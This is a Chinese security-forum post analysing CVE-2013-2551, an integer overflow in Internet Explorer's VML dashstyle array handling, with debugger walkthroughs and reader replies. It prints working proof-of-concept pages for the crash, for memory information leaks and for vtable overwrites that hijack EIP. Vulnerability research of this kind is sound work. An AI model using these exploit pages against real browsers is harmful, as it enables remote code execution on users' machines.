首页
社区
课程
招聘
[原创]Internet Explorer漏洞分析(二)——CVE-2013-2551
2021-2-24 21:53 12825

[原创]Internet Explorer漏洞分析(二)——CVE-2013-2551

erfze 活跃值
12
2021-2-24 21:53
12825

0x01 漏洞信息

0x01.1 漏洞简述

  • 编号:CVE-2013-2551
  • 类型:整数溢出(Integer Overflow)
  • 漏洞影响:远程代码执行(RCE)
  • CVSS 2.0:9.3

VGX.dll中COALineDashStyleArray::put_length函数在处理length数据时未做有效验证,以致length为负数可造成整数溢出,进而实现任意读写。

0x01.2 漏洞影响

Microsoft Internet Explorer 6—10

0x01.3 修复方案

MS13-037

0x02 漏洞分析

0x02.1 分析环境

  • OS版本:Windows XP Service Pack 3
  • Internet Explorer版本:8.0.6001.18702
  • VGX.dll版本:8.0.6001.18702

0x02.2 前置知识

VML的全称是Vector Markup Language(矢量可标记语言),其基于XML,矢量图形——意味着图形可以任意放大缩小而不损失图形的质量。VML相当于IE里面的画笔,能实现你所想要的图形,而且结合脚本,可以让图形产生动态的效果。(不仅是IE,Microsoft Office同样支持VML)

 

使用VML首先要通过<style>引入:

1
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

之后声明VML Namespace:

1
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

如此便可添加VML元素以绘制图形。

 

一例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<title>
VML Sample
</title>
 
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
 
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
   <v:shape
   fillcolor="green"
   style="position:relative;top:1;left:1;width:200;height:200"
   path = "m 1,1 l 1,200, 200,200, 200,1 x e">
   </v:shape>
</body>
</html>

Shape是VML最基本的对象,利用它可以画出所有你想要的图形。其主要属性Path可参阅VML Path Attribute—Microsoft Docs

0x02.3 详细分析

使用IE打开poc.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
 
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a          = new Array()
 
function createRects(){
    for(var i=0; i<0x400; i++){
        rect_array[i]    = document.createElement("v:shape")
        rect_array[i].id = "rect" + i.toString()
        document.body.appendChild(rect_array[i])
    }
}
 
function crashme(){
 
    var vml1  = document.getElementById("vml1")
    var shape = document.getElementById("shape")
 
    for (var i=0; i<0x400; i++){                                       //set up the heap
      a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
    }
 
    for (var i=0; i<0x400; i++){
      a[i].rotation;                                                   //create a COARuntimeStyle
      if (i == 0x300) {                                                //allocate an ORG array of size B0h
           vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
      }
    }
 
    vml1.dashstyle.array.length      = 0 - 1
    shape.dashstyle.array.length     = 0 - 1
 
    for (var i=0; i<0x400; i++) {
       a[i].marginLeft   = "a";
       marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
       if (marginLeftAddress > 0) {
            try{
                shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
            }
            catch(e) {continue}
       }
    }
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>

允许阻止内容后,WinDbg附加进程并运行,单击crash按钮,崩溃点如下:

 

 

使用gflags.exeiexplore.exe开启页堆,WinDbg启动iexplore.exe,通过.childdbg 1命令启用子进程调试并运行后,崩溃点如下:

 

 

kb查看调用堆栈:

 

 

重新启动iexplore.exe,加载VGX.dll完成后于ORG::Get函数处设断,查看其this参数:

 

 

继续向下分析,可以看到vgx!ORG对象结构偏移0x10处存储指向dashstyle数组指针:

 

 

marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);操作由memecpy完成:

 

 

漏洞成因显然不位于该函数,继续向上回溯至vgx!COALineDashStyleArray::get_item,其调用vgx!ORG::CElements获取数组元素个数:

 

 

要读取元素下标需大于0xFFFFFFFF,小于vgx!ORG对象结构偏移0x04处值(WORD)。若下标合法,之后便会调用vgx!ORG::Get。可以从上图看到数组Length值0xffff,该值需跟进COALineDashStyleArray::put_length函数分析。

 

首先获取数组原长度,与更改长度进行比较:

 

 

此处即为漏洞触发位置,其调用vgx!ORG::CElements函数获取长度使用movzx eax, word ptr [eax+4]指令,将长度当作无符号整数处理(而非采用movsx指令),但跳转语句jge是基于有符号整数比较的跳转。

 

大于等于则会调用vgx!ORG::DeleteRange

 

 

跟进发现其调用MsoDeletePx

 

 

继续跟进,写入更改长度操作位于MsoFRemovePx函数内:

 

 

如此一来,将数组Length修改为0xFFFF,进而可以实现越界读写——前文分析vgx!COALineDashStyleArray::get_item函数对应越界读操作,下面看越界写操作。该操作对应vgx!COALineDashStyleArray::put_item函数,其与get_item不同之处是调用vgx!ORG::PGet函数:

 

 

该函数用于计算写入位置:

 

 

之后写入操作由put_itemmov [eax], ecx指令完成:

 

0x02.4 利用分析

0x02.4a 信息泄露

有两种信息泄露方法,详见下文分析。

_anchorRect属性

访问_anchorRect属性时会调用COAShape::get__anchorRect函数,而该函数会通过malloc申请0x10字节空间:

 

 

该空间用于存储COAReturnedPointsForAnchor对象:

 

 

如此一来,可申请大量空间存储COAReturnedPointsForAnchor对象,中间放置Dashstyle Array,之后便可访问后续COAReturnedPointsForAnchor对象虚表以获取VGX.dll基址。但笔者在进行布局时发现其后并非紧接COAReturnedPointsForAnchor对象:

1
2
3
4
5
6
7
8
9
10
11
12
for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
  ....
  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i==0x800){
      vml1.dashstyle="1 2 3 4";
    }
  }

 

由上图可以看到是COAShape对象,其虚表相对于VGX.dll基址偏移为0x82a48。经计算,读取该地址数组下标为0x12,故笔者构造信息泄露POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
 
<title>
INFO LEAK
</title>
 
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
 
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
 
<body onload="createRects(); info_leak();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
 
<script>
 
var rect_array = new Array()
var a = new Array()
 
function createRects(){
  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}
 
function info_leak(){
 
  var vml1  = document.getElementById("vml1")
  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i==0x800){
      vml1.dashstyle="1 2 3 4";
    }
  }
  vml1.dashstyle.array.length = 0 - 1;  
 
  var leak = vml1.dashstyle.array.item(0x12);
  alert(leak-0x82a48);
 
}
</script>
 
</html>

_vgRuntimeStyle属性

_vgRuntimeStyle.rotation对应COARuntimeStyle::get_rotation函数,初次访问会申请0xAC大小空间(COARuntimeStyle::get_rotation——>CVMLShape::GetRTSInfo——>CParserTag::GetRTSInfo):

 

 

实际占用空间大小:

 

 

那么于其中插入Dashstyle Array大小为0xB0(即44个元素,加上头部占用8字节,恰为0xB8):

 

 

之后写_vgRuntimeStyle.marginLeft,对应COARuntimeStyle::put_marginLeft函数,由于先前已经申请内存空间,该函数调用CVMLShape::GetRTSInfo——>CParserTag::GetRTSInfo时便不会再次申请,而是返回内存地址,写入字符位置相对于该地址偏移为0x58:

 

 

而读_vgRuntimeStyle.marginLeft,对应COARuntimeStyle::get_marginLeft函数,该函数会将偏移0x58处指针指向内容读取出来:

 

 

如此一来,控制0x58处指针内容,可实现任意地址读取。

 

利用漏洞可读写该地址处内容,下标为0x2E(0x2B对应数组最后一个元素,0x2C-0x2E是头部所占用12字节)+0x16(0x58/4)。完整POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
 
<title>
INFO LEAK
</title>
 
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
 
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
 
<body onload="createRects(); exploit();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
 
<script>
 
var rect_array = new Array()
var a = new Array()
 
function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}
 
function exploit(){
 
  var vml1  = document.getElementById("vml1")
 
  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }
 
 
  for (var i=0; i<0x400; i++){
    a[i].rotation;               
    if (i == 0x300) {          
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }
 
  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;  
 
  for (var i=0; i<0x400; i++)
  {
    a[i].marginLeft = "a";                                                               
 
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
 
    if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));
      return;
    }
  }
 
}
</script>
 
</html>


0x02.4b 劫持EIP

后续覆盖虚表指针劫持EIP部分,可能是由于笔者环境问题,并未完成。重新搭建环境如下:

  • OS版本:Windows 7 Service Pack 1 x86
  • Internet Explorer版本:8.0.7601.17514
  • VGX.dll版本:8.0.7600.16385

该环境下对象布局稍有不同:

 

 

可以有两种不同的方式覆盖虚表指针。

vgx!COAReturnedPointsForAnchor::vftable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
 
var rect_array = new Array()
var a = new Array()
 
function createRects(){
  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}
 
function exploit(){
 
  var vml1 = document.getElementById("vml1")
 
  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i == 0x800) {
      vml1.dashstyle = "1 2 3 4"
    }
  }
 
  vml1.dashstyle.array.length = 0 - 1;
  vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;
 
  for (var i=0; i<0x1000; i++)
  {
    delete a[i];
    CollectGarbage();
  }
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
vgx!COAShape::vftable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
 
var rect_array = new Array()
var a = new Array()
 
function createRects(){
  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}
 
function exploit(){
 
  var vml1 = document.getElementById("vml1")
 
  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i == 0x800) {
      vml1.dashstyle = "1 2 3 4"
    }
  }
 
  vml1.dashstyle.array.length = 0 - 1;
  vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
 
  for (var i=0; i<0x1000; i++)
  {
    delete a[i];
    CollectGarbage();
  }
location.reload();
}
 
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>

第一种利用方式若要将栈转移到堆上(没有找到类似xchg ecx,esp直接交换ECX与ESP的gadget),需要再配合两次漏洞进行越界写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
</script>
 
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
 
var rect_array = new Array()
var a = new Array()
 
function createRects(){
  for(var i=0; i<0x1000; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}
 
function exploit(){
 
  var vml1 = document.getElementById("vml1")
 
  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i == 0x800) {
      vml1.dashstyle = "1 2 3 4"
    }
  }
 
  vml1.dashstyle.array.length = 0 - 1;
  vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;
  vml1.dashstyle.array.item(0xE) = 0x0c0c0c0c;
  vml1.dashstyle.array.item(0xF) = ntdllbase+0xcb3e3;
 
  for (var i=0; i<0x1000; i++)
  {
    delete a[i];
    CollectGarbage();
  }
}
 
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>

与之相配合堆上gadgets如下:

 

 

而第二种覆盖方式,直接用xchg eax,esp;ret这样的gadget即可。两种利用方式效果展示:

 

0x03 参阅链接


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞4
打赏
分享
最新回复 (4)
雪    币: 4163
活跃值: (15930)
能力值: (RANK:710 )
在线值:
发帖
回帖
粉丝
Roland_ 12 2021-2-25 09:28
2
0
支持师傅!
雪    币: 12483
活跃值: (16262)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2021-2-25 10:01
3
0
师傅的该系列是不是要做长期更新?
雪    币: 1331
活跃值: (9454)
能力值: ( LV12,RANK:650 )
在线值:
发帖
回帖
粉丝
erfze 12 2021-2-25 13:51
4
0
有毒 师傅的该系列是不是要做长期更新?
是的,以后会一直更新下去
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸡雪 2022-12-14 19:47
5
0
师傅请问能否发布下最后带上rop的 弹那个calc的exploit啊
游客
登录 | 注册 方可回帖
返回